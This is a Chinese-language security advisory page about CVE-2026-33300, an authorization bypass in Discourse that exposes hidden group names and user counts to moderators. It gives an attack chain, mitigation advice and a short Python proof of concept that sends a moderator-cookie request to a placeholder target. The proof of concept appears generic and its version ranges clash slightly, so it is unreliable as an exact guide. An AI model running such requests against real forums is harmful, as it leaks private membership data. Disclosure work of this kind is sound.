IPBUF安全漏洞报告
English
CVE-2026-33300 CVSS 6.5 中危

CVE-2026-33300 Discourse授权绕导致信息泄露

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-33300
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

授权绕过信息泄露DiscourseCVE-2026-33300

漏洞概述

Discourse是一个开源讨论平台。在2026.1.0至2026.1.3之前、2026.2.0至2026.2.2之前以及2026.3.0之前的版本中,Category Chatables Controller的show操作存在授权绕过漏洞。该漏洞允许版主获取隐藏群组的名称和用户数量信息。此问题已在后续版本中修复。

技术细节

该漏洞源于Discourse的Category Chatables Controller中的show操作存在权限验证逻辑缺陷。在受影响版本中,当版主用户请求特定接口时,系统未能正确验证其对目标群组的访问权限。由于这一授权绕过问题,攻击者可以利用版主账号发送特制的HTTP请求,通过Category Chatables Controller的show操作直接访问系统中的隐藏群组数据。这导致敏感信息,包括隐藏群组的名称以及群组内的用户计数被泄露。虽然攻击者需要具备版主权限,但该漏洞仍能显著提升其信息收集能力,为进一步的攻击提供数据支持。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Discourse平台,并获取具有版主权限的低权限账号。
STEP 2
2. 发送请求
攻击者使用版主账号向Category Chatables Controller的show端点发送HTTP请求。
STEP 3
3. 权限绕过
由于服务器端授权校验存在缺陷,请求成功绕过权限检查。
STEP 4
4. 信息泄露
服务器返回隐藏群组的名称和用户数量等敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-33300 # Target: Discourse Instance # Description: Bypass authorization to access hidden group info target_url = "http://target.com/category_chatables/show.json" # Cookies for a user with Moderator privileges cookies = { "_forum_session": "valid_moderator_cookie" } response = requests.get(target_url, cookies=cookies) if response.status_code == 200: print("[+] Authorization bypass successful!") data = response.json() print(f"Hidden Group Name: {data.get('group_name')}") print(f"User Count: {data.get('user_count')}") else: print("[-] Exploit failed")

影响范围

Discourse 2026.1.0 - 2026.1.2
Discourse 2026.2.0 - 2026.2.1
Discourse 2026.3.0

防御指南

临时缓解措施
建议立即检查并限制版主账号权限,确保未授权用户无法获取敏感信息。同时,密切关注官方发布的安全补丁,并在升级前加强对Category Chatables相关接口的访问日志监控,以便及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表